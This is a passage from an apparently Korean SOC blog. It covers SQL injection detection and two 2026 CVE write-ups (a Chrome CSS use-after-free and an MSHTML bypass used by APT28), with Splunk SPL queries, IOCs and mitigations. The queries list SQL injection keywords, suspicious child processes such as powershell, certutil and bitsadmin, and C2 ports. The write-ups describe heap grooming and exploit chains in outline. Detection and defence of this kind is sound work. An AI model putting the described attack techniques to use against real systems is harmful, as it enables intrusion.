  환경마다 다르므로 fieldsummary로 먼저 확인 필요
  (index=web_logs | fieldsummary)

(?<sqli_pattern>...)
→ 정규식의 "명명된 캡처 그룹" 문법
→ 패턴과 일치하는 값을 sqli_pattern 필드에 저장
→ sqli_pattern도 직접 만든 필드 (원래 없는 필드)

정규식 패턴 각각의 의미:

'        : 작은따옴표 (SQL 쿼리 구조 깨기)
"       : 큰따옴표 (\ = 이스케이프, "가 정규식 특수문자라)
;        : 쿼리 구분자 (다중 쿼리 실행)
--       : SQL 줄 주석 (뒷부분 무시)
\/\*     : /* 블록 주석 시작 (/ * 가 정규식 특수문자라 \ 필요)
\*\/     : */ 블록 주석 끝
xp_      : xp_cmdshell 등 MS SQL 확장 프로시저 앞에 붙는 접두사
UNION    : UNION 기반 데이터 추출
SELECT   : 데이터 조회
INSERT   : 데이터 삽입
UPDATE   : 데이터 수정
DELETE   : 데이터 삭제
DROP     : 테이블 삭제 (파괴적)
EXEC     : 명령어 실행
CAST     : 데이터 형변환 (WAF 우회 기법에 사용)
CONVERT  : 데이터 변환 (WAF 우회 기법에 사용)
WAITFOR  : MS SQL 시간 지연
SLEEP    : MySQL 시간 지연
BENCHMARK: MySQL 시간 지연 (다른 방식)

| where isnotnull(sqli_pattern)

sqli_pattern 필드에 값이 있는 것만 남김
= 위 패턴 중 하나라도 발견된 요청만 필터링

| eval severity=case(...)

case = 조건에 따라 다른 값을 반환 (if-else와 같음)

DROP, xp_cmdshell, WAITFOR, SLEEP, BENCHMARK → HIGH
→ DB 삭제, OS 명령 실행, 시간 지연 = 파괴적/탐지회피

UNION, SELECT, INSERT, UPDATE, DELETE, EXEC → MEDIUM
→ 데이터 조회/변조 시도

나머지 → LOW
→ 따옴표, 주석 같은 기본 패턴만 발견된 경우

| stats count as attempt_count by ...

attempt_count = stats count 결과를 저장한 직접 만든 필드
(as attempt_count 로 이름을 붙인 것)

동일한 IP + 경로 + 패턴 + 심각도 조합으로 집계
→ 같은 IP에서 반복 시도하면 attempt_count가 높아짐
→ 자동화 공격 여부 판단에 활용

개선형: 대량 데이터 응답 + SQL 패턴 연계 탐지 (UNION 기반 공격)

spl

index=web_logs
| rex field=uri_query "(?<sqli_keyword>(UNION|SELECT|FROM|WHERE))"
| where isnotnull(sqli_keyword)
| eval large_response=if(response_bytes > 10000, 1, 0)
| where large_response=1
| stats count as attack_count,
        avg(response_bytes) as avg_response_size
        by src_ip, uri_path, sqli_keyword
| where attack_count >= 3
| sort -avg_response_size
| table src_ip, uri_path, sqli_keyword, attack_count, avg_response_size

쿼리 라인별 설명:

| eval large_response=if(response_bytes > 10000, 1, 0)

response_bytes = 서버가 응답한 데이터 크기 (바이트)

UNION 기반 공격이 성공하면:
→ 원래 응답 + 추출한 DB 데이터까지 같이 반환
→ 응답 크기가 비정상적으로 커짐

10000바이트(10KB) 초과 → large_response = 1 (비정상)
이하 → 0

| avg(response_bytes) as avg_response_size

평균 응답 크기를 계산
→ 우연히 한 번 큰 것보다
  평균적으로 계속 크면 공격 성공 가능성 높음
avg_response_size도 직접 만든 필드

| where attack_count >= 3

3번 이상 발생한 경우만 남김
→ 1~2번은 우연일 수 있음
→ 3번 이상이면 반복 시도로 볼 수 있음

Time 기반 Blind SQL 인젝션 탐지

spl

index=web_logs
| eval response_time_sec=round(response_time/1000, 2)
| where response_time_sec >= 5
| rex field=uri_query "(?<time_sqli>(WAITFOR|SLEEP|BENCHMARK|pg_sleep))"
| where isnotnull(time_sqli)
| stats count as slow_count,
        avg(response_time_sec) as avg_delay
        by src_ip, uri_path, time_sqli
| sort -avg_delay
| table src_ip, uri_path, time_sqli, slow_count, avg_delay

쿼리 라인별 설명:

| eval response_time_sec=round(response_time/1000, 2)

response_time = 보통 밀리초(ms) 단위로 기록됨

/1000     → 초 단위로 변환
round(..., 2) → 소수점 둘째 자리까지 반올림

예시:
response_time = 5023ms
→ 5023 / 1000 = 5.023 → round → 5.02초

| where response_time_sec >= 5

5초 이상 걸린 요청만 필터링
SLEEP(5), WAITFOR DELAY '0:0:5' 같은 공격은
의도적으로 5초 지연을 발생시킴

| avg(response_time_sec) as avg_delay

평균 지연 시간 계산
일관된 5초 지연 = 공격 패턴
들쑥날쑥한 지연 = 서버 부하 등 다른 원인 가능성

avg_delay가 정확히 5초, 10초처럼
딱 떨어지면 더 의심스러움
avg_delay도 직접 만든 필드

⚠️ 인덱스명 안내: web_logs, waf_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.

8. 오탐지 줄이는 팁

검색 기능: 일반 사용자가 검색창에 it's, O'Brien 같이 따옴표가 포함된 단어를 입력할 수 있다. 단순 따옴표 하나만으로 탐지하면 오탐이 많으니 여러 패턴이 조합된 경우만 의심
개발/테스트 환경: 개발자가 테스트로 SQL 쿼리를 직접 입력하는 경우가 있다. 개발 서버 IP나 내부 IP 대역은 예외 처리
응답 시간 기준: 서버 부하나 네트워크 지연으로도 5초 이상 응답이 발생할 수 있다. 동일 IP에서 일관된 지연이 반복되는 경우만 의심
WAF 차단 로그: WAF가 이미 차단한 요청은 중복으로 집계될 수 있다. action="block" 인 것은 별도로 처리

9. 대응 방법

방법	설명	효과
Prepared Statement	입력값과 쿼리를 분리해서 처리	근본적 해결책
입력값 검증	허용 문자만 화이트리스트로 관리	보조 수단
ORM 사용	SQL을 직접 작성하지 않고 ORM 라이브러리 활용	근본적 해결책
에러 메시지 숨기기	DB 에러를 사용자에게 노출하지 않음	Error 기반 공격 차단
최소 권한 원칙	DB 계정에 필요한 권한만 부여	피해 범위 최소화
WAF 적용	알려진 SQL 인젝션 패턴 차단	시그니처 기반 방어

근본적인 해결책은 Prepared Statement 하나다. WAF, 입력값 필터링은 보조 수단이지 완전한 방어가 아니다. 공격자는 인코딩, 대소문자 혼용, 주석 삽입 등 다양한 우회 기법으로 필터를 피해간다. 코드 레벨에서 Prepared Statement를 사용하는 것이 유일한 근본 해결책이다.

10. 마무리

SQL 인젝션이 2013년부터 10년 넘게 OWASP Top 10에 올라있다는 건, 그만큼 여전히 실제 환경에서 많이 발견된다는 뜻이다. 원리 자체는 단순하지만 Blind, Time 기반, Out-of-Band 공격처럼 탐지가 어려운 변형이 많고, 성공하면 DB 전체가 털리는 치명적인 결과로 이어진다.

SOC 입장에서는 WAF 로그와 DB Slow Query 로그를 SIEM으로 수집하는 것이 탐지의 전제조건이다. 특히 Time 기반 공격은 WAF가 없으면 탐지 자체가 어렵기 때문에 네트워크 레벨 응답 시간 모니터링이 중요하다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

참고 자료:

CVE-2026-2441: Google Chrome CSS Use-After-Free 취약점 분석 및 Splunk SPL 탐지 쿼리

y0.0ns — Sun, 12 Jul 2026 01:59:58 +0900

1. 취약점 설명

Google Chrome의 CSS 렌더링 엔진에서 발견된 Use-After-Free 취약점. 악성 웹페이지를 방문하는 것만으로 Chrome 샌드박스 안에서 임의 코드가 실행된다. Chrome뿐 아니라 Chromium 기반 브라우저(Edge, Brave, Opera 등) 전체에 영향을 미치며, 패치 전부터 실제 공격에 악용된 제로데이다.

2. 취약점 개요

항목	내용
CVE 번호	CVE-2026-2441
CVSS	8.8 (High)
발표일	2026년 2월 13일
CWE	CWE-416 (Use After Free)
영향 제품	Google Chrome 145.0.7632.75 미만, Chromium 기반 브라우저 전체
취약 조건	사용자가 악성 웹페이지를 방문 (추가 상호작용 불필요)
보고자	Shaheen Fazim (2026년 2월 11일 제보)

Use-After-Free(UAF)란? 프로그램이 메모리를 해제(free)한 후에도 해당 주소를 계속 참조(use)하는 취약점. 해제된 메모리에 공격자가 원하는 데이터를 심으면 프로그램 실행 흐름을 조작할 수 있다.

메모리는 창고 같은 것이다. 프로그램이 데이터를 쓸 때 창고에서 빈 공간을 빌리고(메모리 할당), 다 쓰면 반납한다(메모리 해제). UAF는 반납한 후에도 그 주소를 계속 사용하는 것이다. 이미 반납한 공간에 다른 누군가가 들어와 있을 수 있는데, 거기서 뭔가를 읽거나 쓰면 예측 불가능한 동작이 발생한다.
동일한 취약점 유형(CWE-416)이 실제 적용된 또 다른 사례 → CVE-2026-53359: Linux KVM Use-After-Free 취약점 분석

Firefox는 왜 영향 없냐면? Firefox의 스타일링 엔진(Stylo)은 Rust로 작성됐기 때문이다. Rust는 컴파일 타임에 소유권과 빌림 규칙을 강제해서 Use-After-Free 버그 자체를 원천 차단한다. Chrome의 Blink 엔진은 C++로 작성되어 이런 메모리 안전 보장이 없다.

3. 익스플로잇 방식

취약점의 근본 원인

취약점은 Chrome Blink 렌더링 엔진의 CSSFontFeatureValuesMap 구현 안에 있다. 이터레이터가 CSSFontFeatureValuesMap 객체를 순회하는 중에 내부 HashMap이 변경되면 리해시(rehash) 작업이 발생하고, 이 과정에서 원본 메모리가 해제되지만 이터레이터는 해제된 주소를 가리키는 댕글링 포인터를 그대로 보유한다.

CSSFontFeatureValuesMap이란? CSS에는 폰트를 세밀하게 제어하는 기능이 있다.
@font-feature-values MyFont {
    @styleset { a: 1; b: 2; }
}
"MyFont 폰트에서 a는 스타일 1번, b는 스타일 2번으로 표시해줘" 라는 의미다. CSSFontFeatureValuesMap은 이 폰트 피처 값들을 저장하는 자료구조(일종의 사전)로, 브라우저가 이 CSS를 처리할 때 내부적으로 생성해서 메모리에 저장한다.

이터레이터란? 자료구조를 순서대로 훑는 포인터다. CSSFontFeatureValuesMap = {a:1, b:2, c:3} 이 있을 때 이터레이터를 생성하면 "첫 번째 항목(a:1)을 가리키는 포인터"가 만들어지고, a→b→c 순서로 하나씩 읽어나간다. 이터레이터는 내부적으로 "지금 메모리 어디를 보고 있는지" 주소를 기억하고 있다.

리해시(rehash)란? HashMap은 데이터를 빠르게 찾기 위해 버킷이라는 공간에 분산해서 저장한다. 버킷이 너무 차면 더 큰 공간으로 이사하면서 데이터를 재배치하는데 이게 리해시다. 리해시가 일어나면 원래 있던 메모리 공간은 해제되고 데이터는 새 공간으로 이동한다. 문제는 이터레이터가 원래 공간 주소를 기억하고 있다는 것이다. 리해시 후 원래 공간은 해제됐는데 이터레이터는 해제된 주소를 계속 가리키게 된다.

댕글링 포인터란? 포인터는 메모리 주소를 저장하는 변수다. 정상 상태에서는 포인터가 유효한 데이터를 가리키지만, 메모리가 해제됐는데 포인터가 여전히 그 주소를 가리키는 경우를 댕글링 포인터라고 한다. 친구 집 주소를 메모해뒀는데 친구가 이사를 가버린 상황과 같다. 그 주소로 찾아가면 전혀 다른 사람이 살고 있다.

취약한 코드 흐름:
@font-feature-values CSS 규칙 처리
        ↓
CSSFontFeatureValuesMap 이터레이터 생성 (메모리 할당)
        ↓
이터레이터 순회 중 set() 또는 delete()로 맵이 변경
        ↓
HashMap 리해시 → 원본 메모리 해제
        ↓
이터레이터는 해제된 주소(댕글링 포인터) 계속 사용
        ↓
Use-After-Free → 힙 메모리 손상
        ↓
공격자가 재할당된 메모리에 악성 데이터 심기
        ↓
Chrome 샌드박스 안에서 임의 코드 실행

패치 내용 (커밋 63f3cb4864c6):
이터레이터의 raw pointer를
deep copy (const FontFeatureAliases aliases_)로 교체
→ 원본 메모리가 해제돼도 복사본을 사용하므로 UAF 불가

공격자가 어떻게 코드 실행으로 연결하는가 (힙 그루밍)

메모리가 해제되면 바로 사라지는 게 아니라 "재사용 가능한 공간"으로 표시만 된다. 공격자는 이 타이밍을 이용한다.

힙 그루밍 과정:

1. 공격자가 같은 크기의 객체를 일부러 많이 생성
   → 해제될 메모리 자리를 공격자 객체가 차지하도록 준비

2. CSSFontFeatureValuesMap 메모리 해제
   → 해제된 자리에 공격자가 준비한 객체가 들어옴

3. 댕글링 포인터가 그 자리를 읽으면
   → 공격자 데이터를 정상 데이터인 것처럼 처리

비유:
이사 간 친구 집에 내가 먼저 이사 들어감
그 집 주소를 아직 가진 사람이 찾아오면
나를 친구로 착각함 → 내가 원하는 대로 조작 가능

이 과정을 통해 공격자는 함수 포인터를 자신의 악성 코드 주소로 덮어씌워 Chrome 렌더러 프로세스 안에서 임의 코드를 실행하게 된다.

실제 공격 방식 (드라이브바이 다운로드)

악성 웹페이지에 조작된 CSS 규칙이 포함되어 있으면, 스타일 재계산 또는 렌더링 과정에서 취약점이 트리거된다. 브라우저 렌더링 프로세스 안에 결함이 있기 때문에 웹페이지 방문 외에 추가적인 사용자 상호작용이 필요 없다.

공격자가 이 취약점을 활용하는 방식은 크게 세 가지다.

방식	설명
멀버타이징	정상 광고 네트워크를 통해 악성 광고 삽입, 광고 렌더링만으로 트리거
워터링홀	타겟이 자주 방문하는 사이트를 미리 침해해두고 대기
스피어피싱	이메일이나 메신저로 악성 링크 전달

익스플로잇 체인

샌드박스 안에서의 코드 실행이 끝이 아니다. 공격자는 이 취약점을 시작으로 다음 단계로 이어지는 공격 체인을 구성할 수 있다.

CVE-2026-2441 (Chrome 샌드박스 RCE)
        ↓
Mojo IPC 익스플로잇 (샌드박스 탈출)
        ↓
브라우저 프로세스 RCE
        ↓
커널 익스플로잇 (권한 상승)
        ↓
완전한 시스템 장악
→ 악성코드 설치, 자격증명 탈취, 내부망 이동

비슷한 브라우저 UAF를 활용한 실제 공격 사례: NSO Pegasus — WebKit UAF + 샌드박스 탈출 + 커널 익스플로잇 Intellexa Predator — Chrome UAF + Android 커널 익스플로잇 APT28 — Chrome 0-day + Windows LPE 체인

4. 어디서 흔적이 남는가 (로그 소스 매핑)

브라우저 취약점은 클라이언트 사이드에서 발생하기 때문에 서버 레벨 로그보다는 엔드포인트 레벨 탐지가 핵심이다.

로그 소스	탐지 가능한 흔적
EDR / Sysmon	Chrome 렌더러 프로세스에서 비정상 자식 프로세스 생성
프록시/웹 필터 로그	악성 도메인 접근, 비정상 Content-Type 응답
윈도우 이벤트 로그	Chrome 프로세스 크래시 (이벤트 ID 1000, 1001)
네트워크 로그	샌드박스 탈출 후 C2 아웃바운드 연결
브라우저 크래시 리포트	Chrome "Aw, Snap!" 페이지 반복 발생

⚠️ 탐지의 핵심 어려움 취약점이 브라우저 렌더러 프로세스 메모리 안에서 발생하기 때문에 네트워크 레벨에서는 직접 탐지가 불가능하다. 공격 트래픽이 일반 HTTPS처럼 보이기 때문에 패킷 분석으로도 구분하기 어렵다. 샌드박스 탈출 이후 발생하는 프로세스 행위 패턴을 탐지하는 것이 현실적인 접근이다.

5. SPL 탐지 쿼리

기본형: Chrome 렌더러에서 비정상 자식 프로세스 생성 탐지

spl

index=sysmon OR index=wineventlog
| where EventCode IN (1, 4688)
| eval suspicious=if(
    match(parent_process, "(chrome\.exe|msedge\.exe|brave\.exe|opera\.exe)") AND
    match(process_name, "(cmd\.exe|powershell|wscript|mshta|rundll32|certutil|bitsadmin)"),
    1, 0)
| where suspicious=1
| stats count as spawn_count by src_host, parent_process, process_name, command_line
| sort -spawn_count
| table src_host, parent_process, process_name, command_line, spawn_count

쿼리 설명:

Chrome, Edge, Brave 같은 Chromium 기반 브라우저 프로세스에서 cmd, powershell 같은 의심 프로세스가 직접 자식으로 생성되는 패턴을 탐지한다
정상적인 브라우저 사용에서는 이런 프로세스 생성이 거의 발생하지 않는다
샌드박스 탈출 후 공격자가 시스템에서 명령을 실행하는 패턴

⚠️ 인덱스명: sysmon, wineventlog는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것. Sysmon이 설치되어 있어야 command_line 필드까지 확인 가능하다.

개선형: Chrome 크래시 반복 + 이후 비정상 아웃바운드 연결 연계 탐지

spl

index=wineventlog
| where EventCode IN (1000, 1001) AND match(param1, "(chrome|msedge|brave)")
| stats count as crash_count by src_host, _time span=10m
| where crash_count >= 3
| join type=left src_host
    [search index=firewall_logs OR index=proxy_logs
     | where direction="outbound"
     | where NOT match(dest_domain, "(google|microsoft|chromium|brave)\.com$")
     | eval suspicious_port=if(dest_port IN (4444, 8080, 9001, 1080, 31337), 1, 0)
     | where suspicious_port=1
     | stats count as c2_count by src_host]
| where isnotnull(c2_count)
| table src_host, crash_count, c2_count

쿼리 설명:

EventCode 1000/1001은 윈도우 응용 프로그램 크래시 이벤트다
PoC 실행 시 브라우저 탭이 크래시("Aw, Snap!" 페이지)되므로 짧은 시간 안에 크래시가 반복되면 익스플로잇 시도로 볼 수 있다
join으로 크래시 반복 + 비표준 포트 아웃바운드 연결을 연계해 샌드박스 탈출 후 C2 통신 패턴을 포착

취약한 Chrome 버전 보유 자산 탐지

spl

index=endpoint_inventory OR index=software_inventory
| search product="Google Chrome" OR product="Microsoft Edge" OR product="Brave"
| eval vulnerable=if(
    (match(product, "Google Chrome") AND version < "145.0.7632.75") OR
    (match(product, "Microsoft Edge") AND version < "145.0.3800.58") OR
    (match(product, "Brave") AND version < "1.76.0"),
    1, 0)
| where vulnerable=1
| stats count as vulnerable_count by hostname, product, version
| sort -vulnerable_count
| table hostname, product, version, vulnerable_count

쿼리 설명:

취약한 버전의 Chrome/Edge/Brave가 설치된 자산을 한눈에 파악
패치 적용 우선순위 결정에 활용 가능
자산 인벤토리 데이터가 Splunk로 수집되는 환경에서 사용 가능

6. 오탐지 줄이는 팁

브라우저 자동 업데이트: Chrome은 업데이트 후 재시작 전까지 구버전이 실행된다. 버전 탐지 쿼리에서 재시작 여부도 함께 확인하는 것이 정확도를 높임
크래시 반복 기준: 브라우저 크래시는 메모리 부족, 플러그인 오류 등 정상적인 원인으로도 발생한다. 크래시 단독으로는 오탐이 많으므로 반드시 아웃바운드 연결과 연계해서 판단
자식 프로세스: 일부 브라우저 확장 프로그램이나 PDF 뷰어가 외부 프로세스를 실행할 수 있다. 알려진 정상 프로세스는 화이트리스트로 제외

7. 임시 대응 / 패치 정보

패치 버전:

브라우저	패치 버전	배포일
Chrome (Windows/macOS)	145.0.7632.75 이상	2026년 2월 13일
Chrome (Linux)	144.0.7559.75 이상	2026년 2월 13일
Microsoft Edge	145.0.3800.58 이상	2026년 2월 14일
Edge Extended Stable	144.0.3719.130 이상	2026년 2월 17일

버전 확인 방법:

Chrome: chrome://version
Edge:   edge://version

즉시 적용 가능한 완화 조치:

브라우저 즉시 업데이트 및 재시작 (업데이트만으로는 부족, 반드시 재시작해야 적용)
헤드리스 Chrome 배포 환경 우선 점검 - CI/CD 파이프라인, PDF 생성 서버, 웹 스크래핑 서버 등 비대화형 환경도 취약
엔터프라이즈 환경: Google Admin Console 또는 Microsoft Intune으로 버전 컴플라이언스 강제 적용
웹 필터: 알려진 악성 도메인 및 비정상 Content-Type 차단

⚠️ 이 취약점은 클라우드 환경에서도 특히 위험하다. 헤드리스 Chrome이 PDF 생성, 웹 미리보기 등 비대화형 용도로 컨테이너나 CI/CD 파이프라인에 임베드된 경우, 악성 콘텐츠를 렌더링하는 것만으로 취약점이 트리거된다. 일반 엔드포인트 패치보다 이쪽이 더 빠르게 우선 대응이 필요하다.

8. 마무리 / 한계점

이 SPL 쿼리의 한계:

취약점이 브라우저 메모리 안에서 발생해 직접 탐지가 불가능하고, 샌드박스 탈출 이후 행위만 탐지 가능
Sysmon이 설치되지 않은 환경에서는 프로세스 생성 상세 정보 확인 불가
공격자가 정상 포트(443 등)로 C2 통신을 위장하면 아웃바운드 연결 기반 탐지 우회 가능

"CSS는 그냥 화면을 예쁘게 만드는 것" 이라는 인식이 이번 취약점으로 완전히 깨졌다. 선언형 언어도 충분히 공격 벡터가 될 수 있고, 특히 C++로 구현된 파서는 메모리 안전성이 보장되지 않는다. 브라우저처럼 매일 사용하고 신뢰하는 소프트웨어 안에 이런 취약점이 존재한다는 점에서 패치 속도와 버전 관리의 중요성을 다시 한번 확인할 수 있다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

이 블로그의 관련 글:

Use-After-Free(CWE-416)가 실제 적용된 또 다른 사례 → CVE-2026-53359: Linux KVM Use-After-Free 취약점 분석
UAF의 개념적 기반이 되는 취약점 유형 정리 → CWE-121/122: 버퍼 오버플로우 완전 정리

참고 자료:

CVE-2026-21513: MSHTML Framework 보안 기능 우회 취약점 분석 및 Splunk SPL 탐지 쿼리

y0.0ns — Fri, 10 Jul 2026 18:52:24 +0900

1. 취약점 설명

Windows에 여전히 남아있는 레거시 IE 엔진(MSHTML)의 URL 검증 미흡으로, 악성 LNK 파일 하나로 브라우저 샌드박스를 탈출해 임의 코드를 실행할 수 있는 취약점. 러시아 국가 연계 해킹 그룹 APT28이 2026년 2월 Microsoft Patch Tuesday 패치 전부터 실제 공격에 활용했으며, CISA KEV에 등재됐다.

2. 취약점 개요

항목	내용
CVE 번호	CVE-2026-21513
CVSS	8.8 (High)
발표일	2026년 2월 10일 (February Patch Tuesday)
CWE	CWE-693 (Protection Mechanism Failure)
영향 제품	모든 Windows 버전 (MSHTML 내장)
취약 조건	사용자가 악성 HTML 파일 또는 LNK 파일을 열었을 때
공격자	APT28 (러시아 국가 연계 위협 그룹)

MSHTML이란? Windows에 내장된 레거시 웹 렌더링 엔진. Internet Explorer의 핵심 엔진(Trident)으로, IE가 공식 종료된 이후에도 하위 호환성, Office 문서 렌더링, ActiveX 지원 목적으로 Windows 안에 여전히 남아있다. 이 때문에 IE를 사용하지 않아도 MSHTML이 포함된 어떤 컴포넌트든 취약점 트리거가 가능하다.

APT28이란? Fancy Bear라고도 불리는 러시아 군 정보기관(GRU) 연계 위협 그룹. 2016년 미국 대선 해킹, 우크라이나 침해 작전 등 국가 수준 사이버 작전을 수행하는 것으로 알려져 있다. 이번 취약점은 CERT-UA(우크라이나 침해대응팀)도 관련 캠페인을 포착했다.

3. 익스플로잇 방식

취약점의 근본 원인

취약점은 ieframe.dll 내 하이퍼링크 네비게이션을 처리하는 _AttemptShellExecuteForHlinkNavigate 함수에 존재한다. 대상 URL에 대한 검증이 불충분해 공격자가 제어하는 입력값이 ShellExecuteExW를 호출하는 코드 경로에 도달할 수 있다.

취약한 코드 흐름:
하이퍼링크 클릭
    ↓
ieframe.dll의 _AttemptShellExecuteForHlinkNavigate 실행
    ↓
URL 검증 없이 그대로 ShellExecuteExW 호출
    ↓
브라우저 샌드박스 밖에서 로컬/원격 파일 실행

패치 후:
ShellExecuteExW 호출 전
file://, http://, https:// 프로토콜 검증 추가
→ 브라우저 컨텍스트 안에서만 실행되도록 강제

APT28 실제 공격 흐름

<cite index="14-1">Akamai 연구팀이 공개한 분석에 따르면, 악성 샘플(document.doc.LnK.download)은 2026년 1월 30일 VirusTotal에 처음 제출됐으며 APT28 인프라와 연결된 것으로 확인됐다.</cite>

1. APT28이 악성 LNK 파일 제작
   → LNK 표준 구조 바로 뒤에 HTML 파일을 임베드

2. 이메일 첨부 또는 링크로 피해자에게 전달 (스피어피싱)
   → MITRE T1566.001 (Spearphishing Attachment)

3. 피해자가 LNK 파일 클릭
   → MITRE T1204.001 (User Execution: Malicious File)

4. LNK가 APT28 인프라(wellnesscaremed[.]com)와 통신 시작

5. 중첩 iframe과 DOM 조작으로 신뢰 경계 우회
   → Mark of the Web (MotW) 우회
   → Internet Explorer Enhanced Security Configuration (IE ESC) 우회

6. ShellExecuteExW 호출 → 브라우저 샌드박스 탈출
   → 다단계 페이로드 실행 (PrismEx 악성코드)

Mark of the Web (MotW)이란? 인터넷에서 다운로드된 파일에 Windows가 자동으로 붙이는 태그. 이 태그가 있으면 실행 시 경고창이 뜨고 제한된 보안 컨텍스트에서 실행된다. APT28은 중첩 iframe과 DOM 조작으로 이 태그의 효과를 무력화했다.

중요한 포인트: 악성 LNK 파일을 이용한 공격이 관찰됐지만, MSHTML을 임베드하는 어떤 컴포넌트든 취약점 트리거가 가능하다. LNK 피싱 외에도 Office 문서, 이메일 HTML 렌더링 등 다양한 전달 방식이 가능하다.

4. 어디서 흔적이 남는가 (로그 소스 매핑)

로그 소스	탐지 가능한 흔적
이메일 게이트웨이 로그	.lnk 파일 첨부 이메일, 악성 도메인 링크 포함 메일
프록시/웹 필터 로그	wellnesscaremed[.]com 등 APT28 C2 도메인 통신
EDR / Sysmon	ShellExecuteExW 호출 후 비정상 프로세스 생성
윈도우 이벤트 로그	LNK 파일 실행, 비정상 자식 프로세스 생성
네트워크 로그	비정상 아웃바운드 연결, C2 통신 패턴
SIEM (Splunk)	LNK 파일 실행 + 외부 연결 + 의심 프로세스 연계 탐지

⚠️ 탐지의 핵심 어려움 공격자가 MotW를 우회하기 때문에 파일 다운로드 기반 탐지가 어렵다. MSHTML을 임베드하는 모든 컴포넌트가 벡터가 될 수 있어 단일 탐지 포인트가 없다. 네트워크 레벨에서 C2 도메인 통신을 탐지하거나 프로세스 생성 행위 패턴을 모니터링하는 것이 현실적인 접근이다.

5. SPL 탐지 쿼리

기본형: LNK 파일 실행 후 외부 연결 탐지

spl

index=wineventlog OR index=sysmon
| where EventCode IN (4688, 1)
| eval is_lnk_spawn=if(match(parent_process, "(explorer\.exe|outlook\.exe|winword\.exe)") AND match(process_name, "(cmd\.exe|powershell|wscript|mshta|rundll32)"), 1, 0)
| where is_lnk_spawn=1
| stats count as spawn_count by src_host, parent_process, process_name, _time span=5m
| join type=left src_host
    [search index=firewall_logs OR index=proxy_logs
     | where direction="outbound"
     | eval suspicious_domain=if(match(dest_domain, "(wellnesscaremed|\.ru$|\.xyz$)"), 1, 0)
     | where suspicious_domain=1
     | stats count as c2_count by src_host]
| where isnotnull(c2_count)
| table src_host, parent_process, process_name, spawn_count, c2_count

쿼리 설명:

이메일 클라이언트(outlook.exe), 탐색기(explorer.exe), Word(winword.exe)에서 cmd, powershell 같은 의심 프로세스가 생성되는 패턴을 탐지한다
LNK 파일 실행 후 주로 이 경로로 페이로드가 실행되기 때문
join으로 의심 프로세스 생성 + C2 도메인 통신을 연계해 공격 전후 흐름을 한번에 포착

개선형: MSHTML 기반 비정상 ShellExecute 패턴 탐지

spl

index=sysmon
| where EventCode=1
| eval suspicious=if(
    match(parent_process, "(iexplore|mshtml|ieframe|mshta|wscript)") AND
    match(process_name, "(cmd\.exe|powershell|certutil|bitsadmin|curl|wget)"), 1, 0)
| where suspicious=1
| stats count as exec_count by src_host, parent_process, process_name, command_line
| where exec_count >= 1
| sort -exec_count
| table src_host, parent_process, process_name, command_line, exec_count

쿼리 설명:

MSHTML 관련 프로세스(iexplore, mshtml, ieframe, mshta 등)가 부모 프로세스인 상태에서 cmd, powershell 같은 의심 프로세스가 자식으로 실행되면 ShellExecuteExW 악용 패턴으로 볼 수 있다
command_line 필드를 포함해 실제 실행된 명령어까지 확인 가능
Sysmon 이벤트 코드 1(프로세스 생성)이 있어야 탐지 가능

Sysmon이 없는 환경에서는? EventCode 4688(윈도우 기본 프로세스 생성 로그)로 대체 가능하지만, command_line 필드는 감사 정책에서 별도로 활성화해야 기록된다.

⚠️ 인덱스명 안내: wineventlog, sysmon, firewall_logs, proxy_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.

IOC 기반 C2 도메인 탐지

spl

index=proxy_logs OR index=dns_logs OR index=firewall_logs
| search dest_domain="wellnesscaremed.com" OR dest_ip="악성IP"
| stats count as hit_count by src_ip, src_host, dest_domain, dest_ip
| sort -hit_count
| table src_ip, src_host, dest_domain, dest_ip, hit_count

APT28 관련 IOC:

도메인: wellnesscaremed[.]com (APT28 C2)
파일명: document.doc.LnK.download
파일 해시: aefd15e3c395edd16ede7685c6e97ca0350a702ee7c8585274b457166e86b1fa

⚠️ IOC는 APT28이 인프라를 교체하면 무효화된다. C2 도메인 기반 탐지는 보조 수단으로 활용하고, 행위 기반 탐지(쿼리 1, 2)를 병행하는 것이 더 안정적이다.

6. 오탐지 줄이는 팁

정상 자동화 도구: 일부 IT 관리 도구가 outlook이나 explorer에서 powershell을 실행할 수 있다. 관리 서버 IP나 알려진 자동화 프로세스는 화이트리스트로 제외
개발 환경: mshta, wscript는 정상 개발 환경에서도 쓰인다. 개발 PC IP를 별도로 처리하거나 command_line 내용으로 추가 필터링
C2 도메인: 탐지한 도메인이 DGA(Domain Generation Algorithm) 기반이면 패턴 매칭보다 엔트로피 분석이 더 효과적

7. 임시 대응 / 패치 정보

패치 적용: 2026년 2월 Microsoft Patch Tuesday 누적 업데이트 즉시 적용. Windows Update 또는 Microsoft Security Update Guide 참고.

즉시 적용 가능한 완화 조치:

이메일 게이트웨이에서 .lnk 첨부 차단
- 업무상 LNK 파일을 이메일로 주고받을 이유가 거의 없음
- 이메일 필터에서 .lnk 확장자 첨부 차단 권고
MSHTML 관련 레거시 기능 비활성화
- Internet Explorer 모드 비활성화 (Microsoft Edge 설정)
- ActiveX 컨트롤 차단
사용자 교육
- 출처 불명 LNK 파일, HTML 파일 클릭 금지
- 이메일 링크로 전달된 파일 실행 시 주의

⚠️ 패치 적용이 완전한 해결책이지만, MSHTML을 임베드하는 다른 컴포넌트를 통한 변형 공격은 여전히 가능할 수 있다. 패치 후에도 행위 기반 모니터링을 유지하는 것이 중요하다.

8. 마무리 / 한계점

이 SPL 쿼리의 한계:

Sysmon이 설치되지 않은 환경에서는 프로세스 생성 기반 탐지 정확도가 낮아짐
APT28이 LNK 대신 다른 MSHTML 임베드 방식을 사용하면 parent_process 기반 필터가 우회될 수 있음
C2 도메인 기반 탐지는 공격자가 인프라를 교체하는 순간 무효화됨

이 취약점이 특히 흥미로운 이유는 "이미 공식 종료된 Internet Explorer의 잔재가 2026년에도 국가 수준 APT 공격의 무기가 됐다" 는 점이다. 레거시 컴포넌트는 눈에 안 보인다고 사라진 게 아니다. Windows 안에 조용히 남아있다가 이런 식으로 터진다. 이번 취약점은 레거시 코드 감사의 중요성을 다시 한번 상기시켜준다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

참고 자료:

CVE-2026-53359 (Januscape): Linux KVM Use-After-Free 취약점 분석 및 Splunk SPL 탐지 쿼리

y0.0ns — Thu, 9 Jul 2026 20:39:13 +0900

